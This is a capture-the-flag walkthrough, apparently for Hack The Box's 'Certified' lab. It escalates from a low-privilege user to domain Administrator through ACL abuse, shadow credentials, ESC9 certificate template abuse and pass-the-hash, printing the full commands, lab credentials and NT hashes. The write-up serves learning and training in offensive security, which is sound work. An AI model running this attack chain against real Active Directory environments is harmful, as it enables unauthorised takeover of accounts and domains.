Skip to main content

Certified

Certified is a medium-difficulty Windows machine designed around an assumed breach scenario, where credentials for a low-privileged user are provided. To gain access to the management_svc account, ACLs (Access Control Lists) over privileged objects are enumerated leading us to discover that judith.mader which has the write owner ACL over management group, management group has GenericWrite over the management_svc account where we can finally authenticate to the target using WinRM obtaining the user flag. Exploitation of the Active Directory Certificate Service (ADCS) is required to get access to the Administrator account by abusing shadow credentials and ESC9.

Enumeration

Step 0 : Nmap scan

  • Check open ports
└─$ nmap 10.10.11.41 -T4 -p- -v -r | grep open
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49217/tcp open unknown
49666/tcp open unknown
49668/tcp open unknown
49673/tcp open unknown
49674/tcp open unknown
49681/tcp open unknown
49713/tcp open unknown
49735/tcp open unknown

Observations

  • 10 Authentication and directory ports such as 53 (DNS), 88 (Kerberos), 135(MSRPC - Endpoint mapper for RPC services), 139 (NetBIOS-SSN: file sharing (SMB)), 389 (LDAP), 445 (Microsoft-DS: SMB over TCP), 464 (kpasswd: Kerberos password change), 636 (LDAPS), 3268(Global Catalog LDAP) and 3269 (Global catalog LDAPS) are open
  • 3 Windows services and remote management ports such as 593 (RPC over HTTP), 5985 (windows remote powershell & management(http)), 9389 (ADWS - Active directory web services) are open
  • 8 other ports such as 49217, 49666, 49668, 49673, 49674, 49681, 49713, 49735 are dynamically allocated by the RPC Endpoint Mapper. Windows uses them for services like AD, DNS, and file sharing once a connection is initiated.

Step 1 : Deep nmap scan

  • Run default scripts and versions scan open identified open ports using nmap
└─$ nmap -sV -sC -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49217,49666,49668,49673,49674,49681,49713,49735 10.10.11.41 

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-23 16:12 AEST
Nmap scan report for 10.10.11.41
Host is up (0.41s latency).

PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-23 12:52:54Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-23T12:54:37+00:00; +6h40m15s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-23T12:54:37+00:00; +6h40m15s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-23T12:54:37+00:00; +6h40m15s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-23T12:54:37+00:00; +6h40m15s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49217/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49681/tcp open msrpc Microsoft Windows RPC
49713/tcp open msrpc Microsoft Windows RPC
49735/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-04-23T12:53:59
|_ start_date: N/A
|_clock-skew: mean: 6h40m14s, deviation: 0s, median: 6h40m14s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.61 seconds

Observation

  • Fully Qualified Domain Name is DC01.certified.htb

Step 2 : Visualise with bloodhound

  • Add domain name to /etc/hosts
  • Use bloodhound to enumerate further

  • Search JUDITH.MADER@CERTIFIED.HTB and mark as owned

  • Look for high value target from this users

Observations

Step 3 : Change Management group ownership

  • Add Judith Mader to Management group (for hints we can right click on WriteOwner and click help)

  • As per the hint we will use oweredit by Impacket
─$ impacket-owneredit -action write -new-owner 'judith.mader' -target 'management' certified.htb/judith.mader:judith09

[*] Current owner information below
[*] - SID: S-1-5-21-729746778-2675978091-3820388244-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=certified,DC=htb
[*] OwnerSid modified successfully!

  • To verify we can rerun the command
└─$ impacket-owneredit -action write -new-owner 'judith.mader' -target 'management' certified.htb/judith.mader:judith09

[*] Current owner information below
[*] - SID: S-1-5-21-729746778-2675978091-3820388244-1103
[*] - sAMAccountName: judith.mader
[*] - distinguishedName: CN=Judith Mader,CN=Users,DC=certified,DC=htb
[*] OwnerSid modified successfully!

Observation

  • [*] - distinguishedName: CN=Judith Mader,CN=Users,DC=certified,DC=htb tells us that we are the owners

Step 4: Modifying judith's rights

  • Change judith.mader permission to WriteMembers in the group (Management)
└─$ impacket-dacledit -action 'write' -rights 'WriteMembers' -principal judith.mader -target 'Management' certified/judith.mader:judith09 -dc-ip 10.10.11.41 

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] DACL backed up to dacledit-20250423-193655.bak
[*] DACL modified successfully!

Oberservation

  • Judith now has WriteMember access in WriteMembers group

Step 5: Add judith to Management group

  • Use net rpc to add judith to management group
└─$ net rpc group addmem  Management judith.mader -U certified/judith.mader%judith09 -S 10.10.11.41

└─$ net rpc group members Management -U certified/judith.mader%judith09 -S 10.10.11.41
CERTIFIED\judith.mader
CERTIFIED\management_svc

Observation

  • judith is member of Management group

Step 6: Shadow credentials attack

Part 1 : Get PFX Certificate and Key

  • For shadow credentials attack it is required to GenericWrite Access
  • Once judith is member of management group we can target management_svc user.

  • We can use below help from bloodhound to perform shadow credentials attack on management_svc user.

  • Let's use pywhisker to shadow credentials (certificate and key)
└─$ python3 pywhisker/pywhisker.py -d 'certified.htb' -u 'judith.mader' -p "judith09" --target "management_svc" --action "add"
[*] Searching for the target account
[*] Target user found: CN=management
service,CN=Users,DC=certified,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID:
7b4403f9-cf24-8760-1c02-5276a423f4a9
[*] Updating the msDS-KeyCredentialLink attribute of
management_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target
object
[*] Converting PEM -> PFX with cryptography: T7ji63e9.pfx
[+] PFX exportiert nach: T7ji63e9.pfx
[i] Passwort für PFX: OocR4GNxrWvEttoiDocz
[+] Saved PFX (#PKCS12) certificate & key at path: T7ji63e9.pfx
[*] Must be used with password: OocR4GNxrWvEttoiDocz
[*] A TGT can now be obtained with
https://github.com/dirkjanm/PKINITtools

Observations

  • PFX certificate & key path is stored at T7ji63e9.pfx
  • Password to access it is OocR4GNxrWvEttoiDocz
  • To request TGT we need to use pkinittools's gettgtpkinit.py

Part 2 : Get TGT key using PKINITtools/gettgtpkinit.py

  • With PFX certificate and key we can request the TGT key

  • Running gettgtpkinit.py gives The clock skew is too great error. As it is using kerberos in the backend we need to update our clock to match server's time.
  • Let's use ntpdate
# remove systemd-timesyncd is getting error or if time is not syncing or do below
# sudo apt install chrony
# sudo service chronyd stop

┌──(kali㉿kali)-[~]
└─$ sudo ntpdate -u 10.10.11.41 && sudo hwclock --systohc

2025-04-25 20:45:50.106165 (+1000) +24010.698842 +/- 0.139635 10.10.11.41 s1 no-leap
CLOCK: time stepped by 24010.698842
[sudo] password for kali:
  • Once clock is synced we can run gettgtinit.py to request the TGT
┌──(venv)─(kali㉿kali)-[~]
└─$ python3 apps/PKINITtools/gettgtpkinit.py -cert-pfx RnZDmg8B.pfx -pfx-pass ksWyYvamDQukPpyNP3vV certified.htb/management_svc management_svc.ccache
2025-04-25 20:53:17,079 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-04-25 20:53:17,133 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
2025-04-25 20:53:41,643 minikerberos INFO AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2025-04-25 20:53:41,644 minikerberos INFO 65e78ab600fbb49abf3598525db4d821b3d0cfe389c4fd445c14d4771128ba70
INFO:minikerberos:65e78ab600fbb49abf3598525db4d821b3d0cfe389c4fd445c14d4771128ba70
2025-04-25 20:53:41,650 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file

Part 3: Request NT hash using PKINITtools/getnthash.py

┌──(venv)─(kali㉿kali)-[~]
└─$ python3 apps/PKINITtools/getnthash.py -key 65e78ab600fbb49abf3598525db4d821b3d0cfe389c4fd445c14d4771128ba70 certified.htb/management_svc
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
a091c1832bcdd4677c28b5a6a1295584

Alternate Step 6: Shadow credentials using certipy-ad

  • Certipy is used here as a shortcut to previous step. It create certificate, keys TGT and provides the NT hash while restoring the old credentials.
┌──(kali㉿kali)-[~]
└─$ certipy-ad shadow auto -username judith.mader@certified.htb -password judith09 -account management_svc -target certified.htb -dc-ip 10.10.11.41
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'management_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '4b2e0218-4110-c12b-0ec7-b01eccdafdac'
[*] Adding Key Credential with device ID '4b2e0218-4110-c12b-0ec7-b01eccdafdac' to the Key Credentials for 'management_svc'
[*] Successfully added Key Credential with device ID '4b2e0218-4110-c12b-0ec7-b01eccdafdac' to the Key Credentials for 'management_svc'
[*] Authenticating as 'management_svc' with the certificate
[*] Using principal: management_svc@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'management_svc.ccache'
[*] Trying to retrieve NT hash for 'management_svc'
[*] Restoring the old Key Credentials for 'management_svc'
[*] Successfully restored the old Key Credentials for 'management_svc'
[*] NT hash for 'management_svc': a091c1832bcdd4677c28b5a6a1295584

Observation

  • We got NT hash for management_svc a091c1832bcdd4677c28b5a6a1295584

Step 7: Target ca_operator@certified.htb

  • Management_SVC has GenericAll (which contains GenericWrite) access to CA_operator hence we can perform step 6 to get NT hash for ca_operator as well.

  • Let's get the NT hash of ca_operator using certipy-ad
└─$ certipy-ad shadow auto -username  management_svc@certified.htb -hashes :a091c1832bcdd4677c28b5a6a1295584  -account ca_operator -target certified.htb -dc-ip 10.10.11.41   
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'ca_operator'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '1a49d9e0-f989-ae19-5573-9e2eba732b5b'
[*] Adding Key Credential with device ID '1a49d9e0-f989-ae19-5573-9e2eba732b5b' to the Key Credentials for 'ca_operator'
[*] Successfully added Key Credential with device ID '1a49d9e0-f989-ae19-5573-9e2eba732b5b' to the Key Credentials for 'ca_operator'
[*] Authenticating as 'ca_operator' with the certificate
[*] Using principal: ca_operator@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_operator.ccache'
[*] Trying to retrieve NT hash for 'ca_operator'
[*] Restoring the old Key Credentials for 'ca_operator'
[*] Successfully restored the old Key Credentials for 'ca_operator'
[*] NT hash for 'ca_operator': b4b86f45c6018f1b664f70805f45d8f2

Observation

  • We got the NT hash for ca_operator i.e. b4b86f45c6018f1b664f70805f45d8f2

Privilege Escalation

Step 8: List running services

  • Let's enumerate the server to list what services are running
└─$ nxc ldap certified.htb -u management_svc -H a091c1832bcdd4677c28b5a6a1295584 -M adcs
SMB 10.10.11.41 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.41 389 DC01 [+] certified.htb\management_svc:a091c1832bcdd4677c28b5a6a1295584
ADCS 10.10.11.41 389 DC01 [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS 10.10.11.41 389 DC01 Found PKI Enrollment Server: DC01.certified.htb
ADCS 10.10.11.41 389 DC01 Found CN: certified-DC01-CA

Observation

  • The server running SMB, LDAP and ADCS (Active Directory Certificate Service)
  • Active Directory Certificate Services (AD CS) is a Windows Server role that provides a Public Key Infrastructure (PKI). Think of it as a certificate authority (CA) for your internal domain.

Step 9: Enumerate ADCS

  • Let's use certipy to enumerate ADCS.
└─$ certipy-ad find -u ca_operator@certified.htb -hashes b4b86f45c6018f1b664f70805f45d8f2 -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'certified-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'certified-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'certified-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'certified-DC01-CA'
[*] Enumeration output:
Certificate Authorities
0
CA Name : certified-DC01-CA
DNS Name : DC01.certified.htb
Certificate Subject : CN=certified-DC01-CA, DC=certified, DC=htb
Certificate Serial Number : 36472F2C180FBB9B4983AD4D60CD5A9D
Certificate Validity Start : 2024-05-13 15:33:41+00:00
Certificate Validity End : 2124-05-13 15:43:41+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : CERTIFIED.HTB\Administrators
Access Rights
ManageCertificates : CERTIFIED.HTB\Administrators
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
ManageCa : CERTIFIED.HTB\Administrators
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Enroll : CERTIFIED.HTB\Authenticated Users
Certificate Templates
0
Template Name : CertifiedAuthentication
Display Name : Certified Authentication
Certificate Authorities : certified-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectRequireDirectoryPath
SubjectAltRequireUpn
Enrollment Flag : NoSecurityExtension
AutoEnrollment
PublishToDs
Private Key Flag : 16842752
Extended Key Usage : Server Authentication
Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1000 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : CERTIFIED.HTB\operator ca
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Object Control Permissions
Owner : CERTIFIED.HTB\Administrator
Write Owner Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
CERTIFIED.HTB\Administrator
Write Dacl Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
CERTIFIED.HTB\Administrator
Write Property Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
CERTIFIED.HTB\Administrator
[!] Vulnerabilities
ESC9 : 'CERTIFIED.HTB\\operator ca' can enroll and template has no security extension

Observation

  • certipy found the ESC9 vulnerability
  • With ESC9 we can modify the UPN (User Principle name)

Step 10: Exploit ESC9

Part 1: Update username from ca_operator to Administrator

  • ESC9 allows us to modify UPN so we can modify the ca_operator UPN from ca_operator@certipy.htb to the Administrator's UPN
  • As management_svc has GenericWrite permission on ca_operator we can use mangement_svc user to update ca_operator to Administrator using certipy
└─$ certipy-ad account update -username management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator                                        
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
userPrincipalName : Administrator
[*] Successfully updated 'ca_operator'

Observation

  • We successfully changed the UPN to Administrator

Part 2: Request administrator.pfx

  • Now that we change set administrator@certified.htb to ca_operator we can req certificate for ca_operator and we will get it for administrator.
└─$ certipy-ad req -username ca_operator@certified.htb -hashes b4b86f45c6018f1b664f70805f45d8f2 -ca certified-DC01-CA -template CertifiedAuthentication -debug                       
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Trying to resolve 'CERTIFIED.HTB' at '8.8.8.8'
[+] Resolved 'CERTIFIED.HTB' from cache: 10.10.11.41
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.10.11.41[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.10.11.41[\pipe\cert]
[*] Successfully requested certificate
[*] Request ID is 9
[*] Got certificate with UPN 'Administrator'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

Observation

  • Saved certificate and private key to 'administrator.pfx'

Part 3: Restore UPN for ca_operator

  • Database has changed UPN for ca_operator; we need to change it to its default.
└─$ certipy-ad account update -username management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn ca_operator@certified.htb                        
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_operator':
userPrincipalName : ca_operator@certified.htb
[*] Successfully updated 'ca_operator'

Observation

  • UPN restored successfully

Part 4: Get hash for administrator

  • With the PFX certificate and private key we can request NTLM hash for administrator.
└─$ certipy-ad auth -pfx 'administrator.pfx' -domain 'certified.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@certified.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34

Observation

  • We got the NTLM hash

Step 11: Login to Administrator

  • With the NTLM hash we can login to Administrator
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i certified.htb -u Administrator -H 0d5b49608bbce1751f708748f67e2d34

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
certified\administrator

  • Finally we can submit the flags